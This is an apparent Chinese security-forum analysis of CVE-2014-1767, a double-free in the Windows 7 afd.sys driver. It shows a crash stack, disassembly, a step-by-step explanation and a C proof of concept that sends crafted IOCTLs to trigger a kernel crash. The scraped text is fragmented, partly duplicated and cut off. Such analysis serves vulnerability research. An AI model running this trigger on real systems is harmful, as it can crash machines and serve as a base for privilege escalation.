00000000
8e38989f
nt!IoFreeMdl
+
0x70
80e5ca08
8e3898ac
00000000
00000001
0ed23fa8
afd!AfdReturnTpInfo
+
0xad
80e5ca44
8e38abba
0ed23f00
000120c3
8e38aa8c
afd!AfdTliGetTpInfo
+
0x89
80e5caec
8e38f2bc
890ad7c0
87610030
80e5cb14
afd!AfdTransmitPackets
+
0x12e
80e5cafc
83c43047
87610030
8913b7b8
8913b7b8
afd!AfdDispatchDeviceControl
+
0x3b
80e5cb14
83e199d5
890ad7c0
8913b7b8
8913b894
nt!IofCallDriver
+
0x63
80e5cb34
83e1bdc8
87610030
890ad7c0
00000000
nt!IopSynchronousServiceTail
+
0x1f8
80e5cbd0
83e22d9d
87610030
8913b7b8
00000000
nt!IopXxxControlFile
+
0x6aa
80e5cc04
83c4987a
00000050
00000000
00000000
nt!NtDeviceIoControlFile
+
0x2a
<Intermediate frames may have been skipped due to lack of complete unwind>
80e5cc04
778770b4
(T)
00000050
00000000
00000000
nt!KiFastCallEntry
+
0x12a
<Intermediate frames may have been skipped due to lack of complete unwind>
0051f498
77875864
(T)
75a0989d
00000050
00000000
ntdll!KiFastSystemCallRet
0051f49c
75a0989d
00000050
00000000
00000000
ntdll!ZwDeviceIoControlFile
+
0xc
0051f4fc
75d2a671
00000050
000120c3
00156200
KERNELBASE!DeviceIoControl
+
0xf6
/
/
此时control code为
0x120c3
0051f528
001517be
00000050
000120c3
00156200
kernel32!DeviceIoControlImplementation
+
0x80
WARNING: Stack unwind information
not
available. Following frames may be wrong.
0051f718
00151396
00000012
00220ffc
00220fec
CVE_2014_1767
+
0x17be
0051f7b8
75d33c45
00000000
00000000
75d33c45
CVE_2014_1767
+
0x1396
0051f7d0
778937f5
7ffde000
77c39b57
00000000
kernel32!BaseThreadInitThunk
+
0xe
0051f810
778937c8
001514c0
7ffde000
00000000
ntdll!__RtlUserThreadStart
+
0x70
0051f828
00000000
001514c0
7ffde000
00000000
ntdll!_RtlUserThreadStart
+
0x1b
SYMBOL_NAME: afd!AfdReturnTpInfo
+
ad
MODULE_NAME: afd
IMAGE_NAME: afd.sys
STACK_COMMAND: .thread ; .cxr ; kb
FAILURE_BUCKET_ID:
0xc2_7_Mdl__afd
!AfdReturnTpInfo
+
ad
OS_VERSION:
7.1
.
7601.17514
BUILDLAB_STR: win7sp1_rtm
OSPLATFORM_TYPE: x86
OSNAME: Windows
7
FAILURE_ID_HASH: {
7fe1e721
-
1d80
-
7be3
-
9354
-
8d3b5b5ab1ef
}
Followup: MachineOwner
-
-
-
-
-
-
-
-
-
AfdTransmitPackets
-
> AfdTliGetTpInfo
-
> AfdReturnTpInfo
-
> IoFreeMdl
AfdTransmitPackets
-
> AfdTliGetTpInfo
-
> AfdReturnTpInfo
-
> IoFreeMdl
PAGE:
0002B823
; struc_TPInfo
*
__fastcall AfdTliGetTpInfo(unsigned
int
a1)
PAGE:
0002B823
@AfdTliGetTpInfo@
4
proc near ; CODE XREF: AfdTransmitFile(x,x)
+
E4↓p
PAGE:
0002B823
; AfdTransmitPackets(x,x)
+
129
↓p
PAGE:
0002B823
PAGE:
0002B823
Entry
=
dword ptr
-
1Ch
PAGE:
0002B823
ms_exc
=
CPPEH_RECORD ptr
-
18h
PAGE:
0002B823
PAGE:
0002B823
; __unwind {
/
/
__SEH_prolog4
PAGE:
0002B823
push
0Ch
PAGE:
0002B825
push offset stru_20998
PAGE:
0002B82A
call __SEH_prolog4
PAGE:
0002B82F
mov edi, ecx
PAGE:
0002B831
mov eax, _AfdGlobalData
PAGE:
0002B836
add eax,
178h
PAGE:
0002B83B
push eax ; Lookaside
PAGE:
0002B83C
call _ExAllocateFromNPagedLookasideList@
4
; ExAllocateFromNPagedLookasideList(x)
PAGE:
0002B841
mov esi, eax
PAGE:
0002B843
mov [ebp
+
Entry], esi
PAGE:
0002B846
xor ecx, ecx
PAGE:
0002B848
cmp
esi, ecx
PAGE:
0002B84A
jnz short loc_2B850
PAGE:
0002B84C
xor eax, eax
PAGE:
0002B84E
jmp short loc_2B8B7
PAGE:
0002B850
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
PAGE:
0002B850
PAGE:
0002B850
loc_2B850: ; CODE XREF: AfdTliGetTpInfo(x)
+
27
↑j
PAGE:
0002B850
mov [esi
+
8
], ecx
PAGE:
0002B853
lea eax, [esi
+
0Ch
]
PAGE:
0002B856
mov [eax], ecx
PAGE:
0002B858
mov [esi
+
10h
], eax
PAGE:
0002B85B
lea eax, [esi
+
14h
]
PAGE:
0002B85E
mov [eax], ecx
PAGE:
0002B860
mov [esi
+
18h
], eax
PAGE:
0002B863
mov [esi
+
34h
], ecx
PAGE:
0002B866
mov [esi
+
33h
], cl
PAGE:
0002B869
mov [esi
+
24h
], ecx
PAGE:
0002B86C
or
dword ptr [esi
+
2Ch
],
0FFFFFFFFh
PAGE:
0002B870
mov [esi
+
3Ch
], ecx
PAGE:
0002B873
mov [esi
+
4
], ecx
PAGE:
0002B876
cmp
edi, _AfdDefaultTpInfoElementCount
PAGE:
0002B87C
jbe short loc_2B8B5
PAGE:
0002B87E
; __try {
/
/
__except at loc_2B89F
PAGE:
0002B87E
mov [ebp
+
ms_exc.registration.TryLevel], ecx
PAGE:
0002B881
push
0C6646641h
; Tag
PAGE:
0002B886
imul edi,
18h
PAGE:
0002B889
push edi ; NumberOfBytes
PAGE:
0002B88A
push
10h
; PoolType
PAGE:
0002B88C
call ds:__imp__ExAllocatePoolWithQuotaTag@
12
; ExAllocatePoolWithQuotaTag(x,x,x)
PAGE:
0002B892
mov [esi
+
20h
], eax
PAGE:
0002B895
mov byte ptr [esi
+
32h
],
1
PAGE:
0002B899
jmp short loc_2B8AE
PAGE:
0002B89B
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
PAGE:
0002B89B
PAGE:
0002B89B
loc_2B89B: ; DATA XREF: .rdata:stru_20998↑o
PAGE:
0002B89B
; __except
filter
/
/
owned by
2B87E
PAGE:
0002B89B
xor eax, eax
PAGE:
0002B89D
inc eax
PAGE:
0002B89E
retn
PAGE:
0002B89F
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
PAGE:
0002B89F
PAGE:
0002B89F
loc_2B89F: ; DATA XREF: .rdata:stru_20998↑o
PAGE:
0002B89F
; __except(loc_2B89B)
/
/
owned by
2B87E
PAGE:
0002B89F
mov esp, [ebp
+
ms_exc.old_esp]
PAGE:
0002B8A2
push
1
; flag
PAGE:
0002B8A4
push [ebp
+
Entry] ; Entry
PAGE:
0002B8A7
call _AfdReturnTpInfo@
8
; AfdReturnTpInfo(x,x)
PAGE:
0002B8AC
xor esi, esi
PAGE:
0002B8AC
; }
/
/
starts at
2B87E
PAGE:
0002B8AE
PAGE:
0002B8AE
loc_2B8AE: ; CODE XREF: AfdTliGetTpInfo(x)
+
76
↑j
PAGE:
0002B8AE
mov [ebp
+
ms_exc.registration.TryLevel],
0FFFFFFFEh
PAGE:
0002B8B5
PAGE:
0002B8B5
loc_2B8B5: ; CODE XREF: AfdTliGetTpInfo(x)
+
59
↑j
PAGE:
0002B8B5
mov eax, esi
PAGE:
0002B8B7
PAGE:
0002B8B7
loc_2B8B7: ; CODE XREF: AfdTliGetTpInfo(x)
+
2B
↑j
PAGE:
0002B8B7
call __SEH_epilog4
PAGE:
0002B8BC
retn
PAGE:
0002B8BC
; }
/
/
starts at
2B823
PAGE:
0002B8BC
@AfdTliGetTpInfo@
4
endp
PAGE:
0002B823
; struc_TPInfo
*
__fastcall AfdTliGetTpInfo(unsigned
int
a1)
PAGE:
0002B823
@AfdTliGetTpInfo@
4
proc near ; CODE XREF: AfdTransmitFile(x,x)
+
E4↓p
PAGE:
0002B823
; AfdTransmitPackets(x,x)
+
129
↓p
PAGE:
0002B823
PAGE:
0002B823
Entry
=
dword ptr
-
1Ch
PAGE:
0002B823
ms_exc
=
CPPEH_RECORD ptr
-
18h
PAGE:
0002B823
PAGE:
0002B823
; __unwind {
/
/
__SEH_prolog4
PAGE:
0002B823
push
0Ch
PAGE:
0002B825
push offset stru_20998
PAGE:
0002B82A
call __SEH_prolog4
PAGE:
0002B82F
mov edi, ecx
PAGE:
0002B831
mov eax, _AfdGlobalData
PAGE:
0002B836
add eax,
178h
PAGE:
0002B83B
push eax ; Lookaside
PAGE:
0002B83C
call _ExAllocateFromNPagedLookasideList@
4
; ExAllocateFromNPagedLookasideList(x)
PAGE:
0002B841
mov esi, eax
PAGE:
0002B843
mov [ebp
+
Entry], esi
PAGE:
0002B846
xor ecx, ecx
PAGE:
0002B848
cmp
esi, ecx
PAGE:
0002B84A
jnz short loc_2B850
PAGE:
0002B84C
xor eax, eax
PAGE:
0002B84E
jmp short loc_2B8B7
PAGE:
0002B850
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
PAGE:
0002B850
PAGE:
0002B850
loc_2B850: ; CODE XREF: AfdTliGetTpInfo(x)
+
27
↑j
PAGE:
0002B850
mov [esi
+
8
], ecx
PAGE:
0002B853
lea eax, [esi
+
0Ch
]
PAGE:
0002B856
mov [eax], ecx
PAGE:
0002B858
mov [esi
+
10h
], eax
PAGE:
0002B85B
lea eax, [esi
+
14h
]
PAGE:
0002B85E
mov [eax], ecx
PAGE:
0002B860
mov [esi
+
18h
], eax
PAGE:
0002B863
mov [esi
+
34h
], ecx
PAGE:
0002B866
mov [esi
+
33h
], cl
PAGE:
0002B869
mov [esi
+
24h
], ecx
PAGE:
0002B86C
or
dword ptr [esi
+
2Ch
],
0FFFFFFFFh
PAGE:
0002B870
mov [esi
+
3Ch
], ecx
PAGE:
0002B873
mov [esi
+
4
], ecx
PAGE:
0002B876
cmp
edi, _AfdDefaultTpInfoElementCount
PAGE:
0002B87C
jbe short loc_2B8B5
PAGE:
0002B87E
; __try {
/
/
__except at loc_2B89F
PAGE:
0002B87E
mov [ebp
+
ms_exc.registration.TryLevel], ecx
PAGE:
0002B881
push
0C6646641h
; Tag
PAGE:
0002B886
imul edi,
18h
PAGE:
0002B889
push edi ; NumberOfBytes
PAGE:
0002B88A
push
10h
; PoolType
PAGE:
0002B88C
call ds:__imp__ExAllocatePoolWithQuotaTag@
12
; ExAllocatePoolWithQuotaTag(x,x,x)
PAGE:
0002B892
mov [esi
+
20h
], eax
PAGE:
0002B895
mov byte ptr [esi
+
32h
],
1
PAGE:
0002B899
jmp short loc_2B8AE
PAGE:
0002B89B
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
PAGE:
0002B89B
PAGE:
0002B89B
loc_2B89B: ; DATA XREF: .rdata:stru_20998↑o
PAGE:
0002B89B
; __except
filter
/
/
owned by
2B87E
PAGE:
0002B89B
xor eax, eax
PAGE:
0002B89D
inc eax
PAGE:
0002B89E
retn
PAGE:
0002B89F
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
PAGE:
0002B89F
PAGE:
0002B89F
loc_2B89F: ; DATA XREF: .rdata:stru_20998↑o
PAGE:
0002B89F
; __except(loc_2B89B)
/
/
owned by
2B87E
PAGE:
0002B89F
mov esp, [ebp
+
ms_exc.old_esp]
PAGE:
0002B8A2
push
1
; flag
PAGE:
0002B8A4
push [ebp
+
Entry] ; Entry
PAGE:
0002B8A7
call _AfdReturnTpInfo@
8
; AfdReturnTpInfo(x,x)
PAGE:
0002B8AC
xor esi, esi
PAGE:
0002B8AC
; }
/
/
starts at
2B87E
PAGE:
0002B8AE
PAGE:
0002B8AE
loc_2B8AE: ; CODE XREF: AfdTliGetTpInfo(x)
+
76
↑j
PAGE:
0002B8AE
mov [ebp
+
ms_exc.registration.TryLevel],
0FFFFFFFEh
PAGE:
0002B8B5
PAGE:
0002B8B5
loc_2B8B5: ; CODE XREF: AfdTliGetTpInfo(x)
+
59
↑j
PAGE:
0002B8B5
mov eax, esi
PAGE:
0002B8B7
PAGE:
0002B8B7
loc_2B8B7: ; CODE XREF: AfdTliGetTpInfo(x)
+
2B
↑j
PAGE:
0002B8B7
call __SEH_epilog4
PAGE:
0002B8BC
retn
PAGE:
0002B8BC
; }
/
/
starts at
2B823
PAGE:
0002B8BC
@AfdTliGetTpInfo@
4
endp
PVOID ExAllocatePoolWithQuotaTag(
[
in
] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
[
in
] SIZE_T NumberOfBytes,
[
in
] ULONG Tag
);
PVOID ExAllocatePoolWithQuotaTag(
[
in
] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
[
in
] SIZE_T NumberOfBytes,
[
in
] ULONG Tag
);
控制码(Control Code):
0x120c3
输入缓冲区地址:
0x1326200
输入缓冲区长度:
0x18
控制码(Control Code):
0x120c3
输入缓冲区地址:
0x1326200
输入缓冲区长度:
0x18
AfdTliGetTpInfo在分配struc_TPInfo结构时,会根据参数决定是否要初始化struc_TPInfo
-
>struc_UnkObj结构。
AfdTransmitFile调用AfdTliGetTpInfo时,会用常数
3
作为参数进行调用,这导致AfdTliGetTpInfo永远不会在内部初始化struc_TPInfo
-
>struc_UnkObj
AfdTranmitPackets调用AfdTliGetTpInfo时,使用的参数是可控的,并不是常数
3
,这导致我们可以控制AfdTliGetTpInfo让其在内部初始化struc_TPInfo
-
>struc_UnkObj结构
AfdTliGetTpInfo在分配struc_TPInfo结构时,会根据参数决定是否要初始化struc_TPInfo
-
>struc_UnkObj结构。
AfdTransmitFile调用AfdTliGetTpInfo时,会用常数
3
作为参数进行调用,这导致AfdTliGetTpInfo永远不会在内部初始化struc_TPInfo
-
>struc_UnkObj
AfdTranmitPackets调用AfdTliGetTpInfo时,使用的参数是可控的,并不是常数
3
,这导致我们可以控制AfdTliGetTpInfo让其在内部初始化struc_TPInfo
-
>struc_UnkObj结构
AfdTransmitFile调用(第一次DeviceIoControl):
调用AfdTliGetTpInfo分配struc_TPInfo结构,此时调用AfdTliGetTpInfo参数固定为
3
,不初始化struc_TPInfo
-
>struc_UnkObj
-
>MdlAddress成员
调用IoAllocateMdl分配内存地址,赋值给struc_TPInfo
-
>struc_UnkObj
-
>MdlAddress成员
调用MmProbeAndLockPages尝试锁定struc_TPInfo
-
>struc_UnkObj
-
>MdlAddress,由于地址非法,发生异常
异常处理函数接管,调用AfdReturnTpInfo函数释放struc_TPInfo,但是未对指针置NULL从而产生悬挂指针
AfdTransmitPackts调用(第二次DeviceIoControl):
调用AfdTliGetTpInfo分配struc_TPInfo结构,此时调用AfdTliGetTpInfo参数为外部传入,导致需要初始化struc_TPInfo
-
>struc_UnkObj
-
>MdlAddress成员
AfdTliGetTpInfo中尝试使用ExAllocatePoolWithQuotaTag分配
3.9Gb
内存,发生异常
异常处理函数接管,调用AfdReturnTpInfo清理刚分配的struc_TPInfo结构
由于本次分配的struc_TPInfo结构为AfdTransmitFile调用产生异常后释放(归还)给LookasideList的内存,这块内存包含上次指针的值(悬挂指针)
调用IoFreeMdl时尝试再次清理悬挂指针指向的内存区域
BSOD
AfdTransmitFile调用(第一次DeviceIoControl):
调用AfdTliGetTpInfo分配struc_TPInfo结构,此时调用AfdTliGetTpInfo参数固定为
3
,不初始化struc_TPInfo
-
>struc_UnkObj
-
>MdlAddress成员
调用IoAllocateMdl分配内存地址,赋值给struc_TPInfo
-
>struc_UnkObj
-
>MdlAddress成员
调用MmProbeAndLockPages尝试锁定struc_TPInfo
-
>struc_UnkObj
-
>MdlAddress,由于地址非法,发生异常
异常处理函数接管,调用AfdReturnTpInfo函数释放struc_TPInfo,但是未对指针置NULL从而产生悬挂指针
AfdTransmitPackts调用(第二次DeviceIoControl):
调用AfdTliGetTpInfo分配struc_TPInfo结构,此时调用AfdTliGetTpInfo参数为外部传入,导致需要初始化struc_TPInfo
-
>struc_UnkObj
-
>MdlAddress成员
AfdTliGetTpInfo中尝试使用ExAllocatePoolWithQuotaTag分配
3.9Gb
内存,发生异常
异常处理函数接管,调用AfdReturnTpInfo清理刚分配的struc_TPInfo结构
由于本次分配的struc_TPInfo结构为AfdTransmitFile调用产生异常后释放(归还)给LookasideList的内存,这块内存包含上次指针的值(悬挂指针)
调用IoFreeMdl时尝试再次清理悬挂指针指向的内存区域
BSOD
#include <windows.h>
#include <ntdef.h>
#include <winternl.h>
#include <stdio.h>
typedef struct _INPUT_AfdTransmitFile {
DWORD field1;
DWORD field2;
DWORD field3;
DWORD field4;
DWORD field5;
DWORD field6;
DWORD field7;
DWORD field8;
DWORD field9;
DWORD field10;
DWORD field11;
DWORD field12;
} INPUT_AfdTransmitFile;
typedef struct _INPUT_AfdTransmitPackets {
DWORD field1;
DWORD field2;
DWORD field3;
DWORD field4;
DWORD field5;
DWORD field6;
} INPUT_AfdTransmitPackets;
int
main()
{
DWORD bytesRet;
INPUT_AfdTransmitFile InputAfdTransmitFile
=
{
0
};
memset(&InputAfdTransmitFile,
0
, sizeof(INPUT_AfdTransmitFile));
InputAfdTransmitFile.field7
=
0x13371337
;
InputAfdTransmitFile.field8
=
0x15fcd9
;
InputAfdTransmitFile.field11
=
1
;
INPUT_AfdTransmitPackets InputAfdTransmitPackets
=
{
0
};
memset(&InputAfdTransmitPackets,
0
, sizeof(INPUT_AfdTransmitPackets));
InputAfdTransmitPackets.field1
=
1
;
InputAfdTransmitPackets.field2
=
0x0aaaaaaa
;
LPCSTR deviceStr
=
"\\\\?\\GLOBALROOT\\Device\\Afd"
;
HANDLE hDevice
=
CreateFile( deviceStr, \
GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE, \
FILE_SHARE_READ, \
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DeviceIoControl((HANDLE)hDevice,
0X1207F
, (LPVOID)&InputAfdTransmitFile, \
sizeof(INPUT_AfdTransmitFile), NULL,
0
, &bytesRet, NULL);
DeviceIoControl((HANDLE)hDevice,
0X120C3
, (LPVOID)&InputAfdTransmitPackets, \
sizeof(INPUT_AfdTransmitPackets), NULL,
0
, &bytesRet, NULL);
return
0
;
}
#include <windows.h>
#include <ntdef.h>
#include <winternl.h>
#include <stdio.h>
typedef struct _INPUT_AfdTransmitFile {
DWORD field1;
DWORD field2;
DWORD field3;
DWORD field4;
DWORD field5;
DWORD field6;
DWORD field7;
DWORD field8;
DWORD field9;
DWORD field10;
DWORD field11;
DWORD field12;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!